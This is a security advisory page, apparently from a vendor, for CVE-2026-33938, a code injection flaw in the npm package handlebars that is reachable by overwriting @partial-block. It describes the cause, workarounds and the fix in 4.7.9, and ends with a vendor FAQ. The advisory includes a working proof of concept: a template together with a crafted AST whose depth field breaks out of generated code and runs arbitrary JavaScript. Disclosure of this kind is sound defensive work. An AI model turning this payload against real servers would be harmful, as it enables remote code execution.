CVE-2026-33938

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field, breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

• Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
• Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
• Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-33938 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.7.9); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33938? CVE-2026-33938 is a high-severity code injection vulnerability in handlebars (npm), affecting versions >= 4.0.0, <= 4.7.8. It is fixed in 4.7.9. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-33938? CVE-2026-33938 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of handlebars are affected by CVE-2026-33938? handlebars (npm) versions >= 4.0.0, <= 4.7.8 is affected.
4. Is there a fix for CVE-2026-33938? Yes. CVE-2026-33938 is fixed in 4.7.9. Upgrade to this version or later.
5. Is CVE-2026-33938 exploitable, and should I be worried? Whether CVE-2026-33938 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33938 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33938? Upgrade handlebars to 4.7.9 or later.